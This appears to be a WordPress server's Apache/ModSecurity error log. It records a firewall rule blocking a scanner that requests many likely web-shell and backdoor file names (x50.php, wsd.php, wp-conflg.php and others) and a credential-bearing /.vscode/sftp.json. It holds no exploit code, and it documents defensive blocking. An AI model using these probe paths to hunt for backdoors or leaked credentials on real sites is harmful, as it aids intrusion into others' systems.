[Sat Feb 21 02:27:22.927149 2026] [:error] [pid 54552:tid 54572] [client 103.65.237.124:65012] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aZinise4t0F-_sbWepaXSwAAANE"]
[Sat Feb 21 02:44:02.713728 2026] [:error] [pid 54520:tid 54536] [client 43.159.135.203:49196] [client 43.159.135.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZircmQaQX7QUBqXcyFaIAAAAI4"]
[Sat Feb 21 03:19:13.776086 2026] [autoindex:error] [pid 37701:tid 37719] [client 104.46.226.22:60463] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 21 03:19:36.718265 2026] [:error] [pid 38164:tid 38264] [client 104.46.226.22:5874] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aZizyNbO3dRxYRcZLe2LIwAAABc"]
[Sat Feb 21 03:19:38.153876 2026] [:error] [pid 38340:tid 38364] [client 104.46.226.22:5593] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aZizyhwhxuy_mBXA_-IoZAAAANY"]
[Sat Feb 21 03:19:38.895921 2026] [:error] [pid 38164:tid 38256] [client 104.46.226.22:5628] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aZizytbO3dRxYRcZLe2LKwAAAA8"]
[Sat Feb 21 03:19:40.466454 2026] [:error] [pid 38164:tid 38261] [client 104.46.226.22:54822] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aZizzNbO3dRxYRcZLe2LMgAAABQ"]
[Sat Feb 21 03:19:43.208928 2026] [:error] [pid 38166:tid 38321] [client 104.46.226.22:60976] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aZizzzatjXy17zTTzEFZDwAAAJc"]
[Sat Feb 21 03:19:44.311117 2026] [:error] [pid 38165:tid 38289] [client 104.46.226.22:60707] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aZiz0MveKhyo2vBHvI-ukgAAAFI"]
[Sat Feb 21 03:19:45.464357 2026] [:error] [pid 38165:tid 38278] [client 104.46.226.22:5888] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aZiz0cveKhyo2vBHvI-ulgAAAEc"]
[Sat Feb 21 03:19:46.661196 2026] [:error] [pid 38340:tid 38353] [client 104.46.226.22:5911] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aZiz0hwhxuy_mBXA_-IoewAAAMs"]
[Sat Feb 21 03:19:48.011303 2026] [:error] [pid 38166:tid 38310] [client 104.46.226.22:5894] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aZiz1DatjXy17zTTzEFZFQAAAIw"]
[Sat Feb 21 03:19:48.736919 2026] [:error] [pid 38166:tid 38311] [client 104.46.226.22:46887] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aZiz1DatjXy17zTTzEFZGAAAAI0"]
[Sat Feb 21 03:19:50.656482 2026] [:error] [pid 38164:tid 38241] [client 104.46.226.22:60733] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aZiz1tbO3dRxYRcZLe2LRwAAAAA"]
[Sat Feb 21 03:19:51.494953 2026] [:error] [pid 38166:tid 38301] [client 104.46.226.22:60723] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aZiz1zatjXy17zTTzEFZIgAAAIM"]
[Sat Feb 21 03:19:52.605703 2026] [:error] [pid 38164:tid 38242] [client 104.46.226.22:60883] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aZiz2NbO3dRxYRcZLe2LSwAAAAE"]
[Sat Feb 21 03:19:53.218911 2026] [:error] [pid 38164:tid 38253] [client 104.46.226.22:60722] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aZiz2dbO3dRxYRcZLe2LTAAAAAw"]
[Sat Feb 21 03:19:53.775993 2026] [:error] [pid 38165:tid 38276] [client 104.46.226.22:60711] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aZiz2cveKhyo2vBHvI-upgAAAEU"]
[Sat Feb 21 03:19:54.217577 2026] [:error] [pid 38165:tid 38278] [client 104.46.226.22:5916] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aZiz2sveKhyo2vBHvI-uqQAAAEc"]
[Sat Feb 21 03:19:54.765259 2026] [:error] [pid 38164:tid 38254] [client 104.46.226.22:60878] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aZiz2tbO3dRxYRcZLe2LUAAAAA0"]
[Sat Feb 21 03:19:55.191346 2026] [:error] [pid 38340:tid 38366] [client 104.46.226.22:5870] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aZiz2xwhxuy_mBXA_-IokgAAANg"]
[Sat Feb 21 03:19:55.602178 2026] [:error] [pid 38340:tid 38354] [client 104.46.226.22:60949] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aZiz2xwhxuy_mBXA_-IolQAAAMw"]
[Sat Feb 21 03:19:56.406402 2026] [:error] [pid 38166:tid 38316] [client 104.46.226.22:46883] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aZiz3DatjXy17zTTzEFZKgAAAJI"]
[Sat Feb 21 03:19:56.962257 2026] [:error] [pid 38165:tid 38289] [client 104.46.226.22:60872] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aZiz3MveKhyo2vBHvI-usAAAAFI"]
[Sat Feb 21 03:19:57.757586 2026] [:error] [pid 38165:tid 38276] [client 104.46.226.22:54795] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aZiz3cveKhyo2vBHvI-usgAAAEU"]
[Sat Feb 21 03:19:58.515466 2026] [:error] [pid 38165:tid 38292] [client 104.46.226.22:46878] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aZiz3sveKhyo2vBHvI-uuAAAAFU"]
[Sat Feb 21 03:19:59.276857 2026] [:error] [pid 38165:tid 38285] [client 104.46.226.22:60925] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aZiz38veKhyo2vBHvI-uuwAAAE4"]
[Sat Feb 21 03:20:00.646518 2026] [:error] [pid 38166:tid 38303] [client 104.46.226.22:60438] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aZiz4DatjXy17zTTzEFZMQAAAIU"]
[Sat Feb 21 03:20:01.911832 2026] [:error] [pid 38340:tid 38352] [client 104.46.226.22:60912] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aZiz4Rwhxuy_mBXA_-IoqQAAAMo"]
[Sat Feb 21 03:20:02.739231 2026] [:error] [pid 38164:tid 38242] [client 104.46.226.22:60641] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aZiz4tbO3dRxYRcZLe2LYQAAAAE"]
[Sat Feb 21 03:20:04.356351 2026] [:error] [pid 38165:tid 38276] [client 104.46.226.22:60449] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aZiz5MveKhyo2vBHvI-uyQAAAEU"]
[Sat Feb 21 03:20:05.438466 2026] [:error] [pid 38166:tid 38301] [client 104.46.226.22:5914] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aZiz5TatjXy17zTTzEFZOgAAAIM"]
[Sat Feb 21 03:20:05.853290 2026] [:error] [pid 38164:tid 38242] [client 104.46.226.22:60635] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aZiz5dbO3dRxYRcZLe2LbAAAAAE"]
[Sat Feb 21 03:20:06.376527 2026] [:error] [pid 38165:tid 38278] [client 104.46.226.22:60422] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aZiz5sveKhyo2vBHvI-uzAAAAEc"]
[Sat Feb 21 03:20:07.273982 2026] [:error] [pid 38164:tid 38243] [client 104.46.226.22:5937] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aZiz59bO3dRxYRcZLe2LdAAAAAI"]
[Sat Feb 21 03:20:07.912710 2026] [:error] [pid 38165:tid 38281] [client 104.46.226.22:60907] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aZiz58veKhyo2vBHvI-u0gAAAEo"]
[Sat Feb 21 03:20:08.530269 2026] [:error] [pid 38165:tid 38276] [client 104.46.226.22:5863] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aZiz6MveKhyo2vBHvI-u1gAAAEU"]
[Sat Feb 21 03:20:09.203234 2026] [:error] [pid 38166:tid 38311] [client 104.46.226.22:5831] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aZiz6TatjXy17zTTzEFZPwAAAI0"]
[Sat Feb 21 03:20:10.064113 2026] [:error] [pid 38164:tid 38245] [client 104.46.226.22:5831] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aZiz6tbO3dRxYRcZLe2LegAAAAQ"]
[Sat Feb 21 03:20:10.863373 2026] [:error] [pid 38166:tid 38320] [client 104.46.226.22:5835] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aZiz6jatjXy17zTTzEFZRQAAAJY"]
[Sat Feb 21 03:20:11.555182 2026] [:error] [pid 38340:tid 38364] [client 104.46.226.22:5905] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aZiz6xwhxuy_mBXA_-IotQAAANY"]
[Sat Feb 21 03:20:12.187300 2026] [:error] [pid 38165:tid 38284] [client 104.46.226.22:5920] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aZiz7MveKhyo2vBHvI-u3AAAAE0"]
[Sat Feb 21 03:20:12.532512 2026] [:error] [pid 38166:tid 38308] [client 104.46.226.22:60877] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aZiz7DatjXy17zTTzEFZRwAAAIo"]
[Sat Feb 21 03:20:13.260670 2026] [:error] [pid 38164:tid 38248] [client 104.46.226.22:54787] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aZiz7dbO3dRxYRcZLe2LfwAAAAc"]
[Sat Feb 21 03:20:13.835504 2026] [:error] [pid 38165:tid 38274] [client 104.46.226.22:60473] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aZiz7cveKhyo2vBHvI-u4gAAAEM"]
[Sat Feb 21 03:20:14.231668 2026] [:error] [pid 38165:tid 38294] [client 104.46.226.22:60728] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aZiz7sveKhyo2vBHvI-u5AAAAFc"]
[Sat Feb 21 03:20:14.611342 2026] [:error] [pid 38164:tid 38259] [client 104.46.226.22:46862] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aZiz7tbO3dRxYRcZLe2LgwAAABI"]
[Sat Feb 21 03:20:15.002201 2026] [:error] [pid 38165:tid 38289] [client 104.46.226.22:5612] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZiz78veKhyo2vBHvI-u6wAAAFI"]
[Sat Feb 21 03:20:15.529296 2026] [:error] [pid 38166:tid 38319] [client 104.46.226.22:60935] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZiz7zatjXy17zTTzEFZTQAAAJU"]
[Sat Feb 21 03:20:16.577881 2026] [:error] [pid 38165:tid 38274] [client 104.46.226.22:5896] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZiz8MveKhyo2vBHvI-u8AAAAEM"]
[Sat Feb 21 03:20:17.700763 2026] [:error] [pid 38164:tid 38255] [client 104.46.226.22:60467] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZiz8dbO3dRxYRcZLe2LhwAAAA4"]
[Sat Feb 21 03:20:18.296199 2026] [:error] [pid 38166:tid 38317] [client 104.46.226.22:5926] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aZiz8jatjXy17zTTzEFZVQAAAJM"]
[Sat Feb 21 03:20:18.612647 2026] [:error] [pid 38164:tid 38258] [client 104.46.226.22:65483] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aZiz8tbO3dRxYRcZLe2LjgAAABE"]
[Sat Feb 21 03:20:20.075136 2026] [:error] [pid 38340:tid 38342] [client 104.46.226.22:5623] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aZiz9Bwhxuy_mBXA_-IoxAAAAMA"]
[Sat Feb 21 03:20:21.040142 2026] [:error] [pid 38340:tid 38351] [client 104.46.226.22:60731] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aZiz9Rwhxuy_mBXA_-IoyAAAAMk"]
[Sat Feb 21 03:20:21.539504 2026] [:error] [pid 38165:tid 38282] [client 104.46.226.22:60719] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aZiz9cveKhyo2vBHvI-vBAAAAEs"]
